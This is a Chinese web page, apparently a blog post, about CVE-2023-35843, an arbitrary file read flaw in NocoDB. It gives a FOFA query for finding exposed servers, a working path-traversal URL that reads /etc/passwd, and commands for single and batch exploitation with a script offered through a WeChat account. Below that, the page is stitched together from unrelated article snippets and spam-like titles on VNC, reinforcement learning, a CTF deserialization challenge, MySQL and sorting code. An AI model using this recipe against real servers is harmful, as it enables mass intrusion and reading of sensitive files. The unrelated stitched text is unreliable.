【CVE-2023-35843】NocoDB 任意文件读取漏洞
一、漏洞描述
NocoDB 是 Airtable 的开源替代方案，可以“一键”将 MySQL、PostgreSQL、SQL Server、SQLite 和 MariaDB 转换为智能电子表格。此软件存在任意文件读取漏洞。
二、影响范围
NocoDB<=0.106.1三、网络空间搜索引擎搜索
fofa查询
icon_hash="-2017596142"
四、漏洞复现
poc
http://ip:port/download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
浏览器直接访问
五、漏洞批量检测与利用
单个检测
python .\NocoDBReadfile.py -u http://ip:port
批量检测与利用
python .\NocoDBReadfile.py -f filename
关注微信公众号 网络安全透视镜 回复 20231008-2 获取批量检测脚本
相关文章：
【CVE-2023-35843】NocoDB 任意文件读取漏洞
一、漏洞描述 NocoDB 是 Airtable 的开源替代方案，可以“一键”将 MySQL、PostgreSQL、SQL Server、SQLite 和 MariaDB 转换为智能电子表格。此软件存在任意文件读取漏洞。 二、影响范围 NocoDB<0.106.1 三、网络空间搜索引擎搜索 fofa查询 icon_hash"-…...
在 ubuntu 22.04 上配置界面服务器 vnc
xrdp服务器的安装 步骤 1.安装服务器 $ sudo apt install tightvncserver // 命令过后并没有启动服务器 // 这个包没有 systemd 脚本,其不被 systemd 管理!!!查看配置 $ cat ~/.vnc/xstartup #!/bin/shxrdb "$HOME/.Xresources" xsetroot -solid grey #x-termina…...
强化学习------Sarsa算法
简介 SARSA（State-Action-Reward-State-Action）是一个学习马尔可夫决策过程策略的算法，通常应用于机器学习和强化学习学习领域中。它由Rummery 和 Niranjan在技术论文“Modified Connectionist Q-Learning（MCQL）” 中…...
[HNCTF 2022 WEEK2]easy_unser - 反序列化+wakeup绕过+目录绕过
题目代码： <?php include f14g.php;error_reporting(0);highlight_file(__FILE__);class body{private $want,$todonothing "i cant get you want,But you can tell me before I wake up and change my mind";public function __construct($want){…...
FastThreadLocal 快在哪里 ？
FastThreadLocal 快在哪里 ？ 引言FastThreadLocalset如何获取当前线程私有的InternalThreadLocalMap ？如何知道当前线程使用到了哪些FastThreadLocal实例 ? get垃圾回收 小结 引言 FastThreadLocal 是 Netty 中造的一个轮子，那么为什么放着…...
ggkegg | 用这个神包玩转kegg数据库吧！~（一）
1写在前面 好久没更了，实在是太忙了，值班真的是根本不不睡觉啊，一忙一整天，忙到怀疑人生。😭 最近看到比较🔥的就是ggkegg包，感觉使用起来还是有一定难度的。🫠 和大家分享一下使用教…...
【小黑送书—第三期】＞＞《深入浅出SSD》
近年来国家大力支持半导体行业，鼓励自主创新，中国SSD技术和产业良性发展，产业链在不断完善，与国际厂商的差距逐渐缩小。但从行业发展趋势来看，SSD相关技术仍有大幅进步的空间，SSD相关技术也确实在不断前进。…...
linux虚拟机查看防火墙状态
linux虚拟机查看防火墙状态 在Linux虚拟机中，你可以通过以下几种方法查看防火墙状态： 查看iptables防火墙状态 对于使用iptables防火墙的Linux系统，可以使用以下命令查看防火墙状态： sudo iptables -L -v -n查看firewalld防火墙…...
Docker 安装 MongoDB
一、什么是MongoDB MongoDB 是一个基于分布式文件存储的数据库。是一个介于关系数据库和非关系数据库之间的产品，是非关系数据库当中功能最丰富，最像关系数据库的。 二、MongoDB的安装 这里使用docker来安装MongoD 1.docker 拉取mysql镜像 docker pu…...
c++解压压缩包文件
功能实现需要依赖相关头文件和库文件，我这里的是64位的。需要的可以在这下载：https://download.csdn.net/download/bangtanhui/88403596 参考代码如下： #include <zip.h> #pragma comment(lib,"libzip.lib")//解压压缩包 /…...
MySql学习笔记：MySql性能优化
本文是自己的学习笔记，主要参考以下资料 - 大话设计模式，程杰著，清华大学出版社出版 - 马士兵教育 1、MySql调优金字塔2、MySql调优2.1、查询性能2.1.1、慢查询2.1.1.1、总结 1、MySql调优金字塔 Mysql 调优时设计三个层面，分别是…...
机器学习（四十八）：粒子群优化（PSO）-提升机器学习模型准确率的秘密武器
文章目录 PSO算法简介为什么使用PSO优化机器学习参数？PSO与其他启发式算法的比较如何使用PSO优化机器学习模型？模块安装和测试例子PSO优化决策树总结PSO算法简介 粒子群优化算法（Particle Swarm Optimization，PSO）是一种模拟鸟群觅食行为的启发式算法。在PSO算法中，每个…...
MySQL - mysql服务基本操作以及基本SQL语句与函数
文章目录 操作mysql客户端与 mysql 服务之间的小九九了解 mysql 基本 SQL 语句语法书写规范SQL分类DDL库表查增 mysql数据类型数值类型字符类型日期类型 示例修改（表操作） DML添加数据删除数据修改数据 DQL查询多个字段条件查询聚合函数分组查询排序查询…...
[图论]哈尔滨工业大学（哈工大 HIT）学习笔记16-22
视频来源：2.7.1 补图_哔哩哔哩_bilibili 目录 1. 补图 1.1. 补图 2. 双图 2.1. 双图定理 3. 图兰定理/托兰定理 4. 极图理论 5. 欧拉图 5.1. 欧拉迹 5.2. 欧拉闭迹 5.3. 欧拉图 5.4. 欧拉定理 5.5. 伪图 1. 补图 1.1. 补图 （1）…...
使用关键字abstract 声明抽象类-PHP8知识详解
抽象类只能作为父类使用，因为抽象类不能被实例化。抽象类使用关键字abstract 声明，具体的使用语法格式如下： abstract class 抽象类名称{ //抽象类的成员变量列表 abstract function 成员方法1(参数); //抽象类的成员方法 abstract functi…...
Java中使用正则表达式
正则表达式 正则表达式（Regular Expression）是一种用于匹配、查找和替换文本的强大工具。它由一系列字符和特殊字符组成，可以用来描述字符串的模式。在编程和文本处理中，正则表达式常被用于验证输入、提取信息、搜索和替换文本等…...
Python之字符串分割替换移除
Python之字符串分割替换移除 分割 split(sepNone, maxsplit-1) -> list of strings 从左至右sep 指定分割字符串，缺省的情况下空白字符串作为分隔符maxsplit 指定分割的次数，-1 表示遍历整个字符串立即返回列表 rsplit(sepNone, maxsplit-1) -> …...
ubuntu增加内存
文章目录 1、硬盘操作步骤第二步：点击【扩展】（必须关闭ubuntu电源才能修改）第三步：修改【最大磁盘容量大小】1、硬盘操作步骤 最近发现Ubuntu空间不足，怎么去扩容呢？ 第一步：点击【硬盘】 第二步：点击【扩展】（必须关闭ubuntu电源才能修改） 第三步：修改【最大磁…...
黑客都是土豪吗？真实情况是什么？
黑客的利益链条真的这么大这么好么,连最外围的都可以靠信息不对称赚普通人大学毕业上班族想都不敢想的金钱数目,黑客们是不是基本都是土豪 网络技术可以称为黑客程度的技术是不是真的很吃香？如果大部分大学生的智力资源都用在学习网络技术，会不会出现僧…...
企业想过等保，其中2FA双因素认证手段必不可少
随着信息技术的飞速发展，网络安全问题日益凸显。等保2.0时代的到来，意味着企业和组织需要更加严格地保护自身的信息安全。而在这个过程中，双因素认证的重要性逐渐得到广泛认可。本文将探讨 2FA 双因素认证的重要性。 在了解 2FA 双因素认证的…...
Combination Lock
题目描述 新学期开学，您又回到了学校。您需要记住如何操作储物柜上的组合锁。一个组合锁的常见设计如图 1 所示。组合锁有一个圆形刻度表盘，在表盘上，有 40 个编号为从 0 至 39 的刻度，正上方有一个刻度指针。一个组合由这些数字…...
SpringBoot解决LocalDateTime返回数据为数组问题
现象： 在SpringBoot项目中，接口返回的数据出现LocalDateTime对象被转换成了数组 原因分析： 默认序列化情况下会使用SerializationFeature.WRITE_DATES_AS_TIMESTAMPS。使用这个解析时就会打印出数组。 解决方法： 在配置类中…...
【数字人】2、MODA | 基于人脸关键点的语音驱动单张图数字人生成（ICCV2023）
文章目录 一、背景二、方法2.1 问题描述和数据预处理2.2 Mapping-Once network with Dual Attentions2.3 Facial Composer Network2.4 使用 TPE 来合成人像图片 三、效果3.1 训练细节3.2 数据3.3 测评指标3.4 结果比较 四、代码4.1 数据前处理4.2 训练4.3 推理 论文：…...
群狼调研（长沙物业第三方评优）开展房地产市场调查内容设计
湖南房地产市场近年来表现出多元化的发展趋势。为了在竞争激烈的市场中获得更好的发展，房地产企业需要密切关注市场变化，合理规划开发项目，同时提高产品质量和服务水平，以满足消费者的需求和期望。群狼调研(长沙神秘顾客调查)在房…...
计算机网络-计算机网络体系结构-物理层
目录 一、通信基础 通信方式 传输方式 码元 传输率 *二 准则 2.1奈氏准则(奈奎斯特定理) 2.2香农定理 三、信号的编码和调制 *数字数据->数字信号 数字数据->模拟信号 模拟数据->数字信号 模拟数据->模拟信号 *四、数据交换方式 电路交换 报文交换…...
微信小程序wxs标签 在wxml文件中编写JavaScript逻辑
PC端开发 可以在界面中编写JavaScript脚本 vue/react这些框架更是形成了一种常态 因为模板引擎和jsx语法本身就都是在js中的 我们小程序中其实也有类似的奇妙写法 不过先声明 这东西不是很强大 我们可以先写一个案例代码 wxml代码参考 <view><wxs module"wordSt…...
C++设计模式-工厂模式（Factory Method）
目录 C设计模式-工厂模式（Factory Method） 一、意图 二、适用性 三、结构 四、参与者 五、代码 C设计模式-工厂模式（Factory Method） 一、意图 定义一个用于创建对象的接口，让子类决定实例化哪一个类。Factory…...
八大排序算法
#include<iostream> #include<cstring> #include<algorithm> using namespace std; const int N1e510; int q[N]; int w[N],s[N]; int n,sz; //直接插入排序 ,对于某一个元素加入到一个有序的序列中，将该元素依次从该位置开始 //从后往前比较&…...
机器学习笔记 - 两个静态手势识别的简单示例
一、关于手势识别 手势识别方法通常分为两类：静态或动态。 静态手势是那些只需要在分类器的输入处处理单个图像的手势，这种方法的优点是计算成本较低。动态手势需要处理图像序列和更复杂的手势识别方法。 进一步了解可以参考下面链接。 静态手势识别和动态手势识别的区别和技…...
2023年，有哪些好用的互联网项目管理软件？
项目管理是为了使工作项目能够按照预定的需求、成本、进度、质量顺利完成，而对人员、产品、过程和项目进行分析和管理的活动。 一直以来，项目管理被企业管理人员和各级人员所重视，项目管理是一个项目的灵魂，只有做好了项目管理&am…...
wordpress nginx配置文件/广州网络推广策划公司
3.Docker 数据管理 如果将正在运行中的容器修改生成了新的数据，或者修改了现有的一个已经存在的文件内容，那么新产生的数据将会被复制到读写层，进行持久化保存，这个读写层也就是容器的工作目录，此即“写时复制(COW) copy on write”机制。 如下图是将对根的数据写入到了…...
网站页面静态化方案/seo排名优化技术
题目要求第n个丑数。所以对于中间结果不须要保存。def Humble(index):curHum 1M2 2; M3 3; M5 5while index > 1:curHum min(min(M2, M3), M5)while M2 < curHum:M2 * 2while M3 < curHum:M3 * 3while M5 < curHum:M5 * 5index - 1return curHum转载于:https:…...
wordpress 后台好卡/网站站长工具
冒泡排序(Bubble Sort)也是一种简单直观的排序算法。它重复地走访过要排序的数列，一次比较两个元素，如果他们的顺序错误就把他们交换过来。走访数列的工作是重复地进行直到没有再需要交换，也就是说该数列已经排序完成。这个算法的名字由来是因…...
王也高清壁纸图片/成都百度推广账户优化
之前用飞线用旧板子飞线连接了一个wifi模块到usb0口上，调试ok的，现在新设计的板子回来了，wifi模块是连接在usb2口上的，系统起来后发现wlan0不存在，用lsusb查看wifi模块的usb设备竟然没有识别到。 [ 5.580165] insmo…...
怎样下一本wordpress/品牌搜索引擎服务优化
链表是一种常见的数据结构，它由一个个节点组成，每个节点都有一个数据域和一个指向下一个节点的指针域。链表中的节点并不是连续存储在内存中的，而是存储在稀疏分布的各个位置。 红黑树是一种自平衡二叉查找树，它在保证二叉查找树的…...
南京百度网站建设/某网站seo诊断分析
本文价值与收获 看完本文后，您将能够作出下面的界面 Jietu20200324-1956092x.jpgJietu20200324-1956152x.jpgJietu20200324-210619.gif看完本文您将掌握的技能 获得项目的全部源码使用model editor使用Core Data新增记录从Core Data中读取记录List中显示读取的记录…...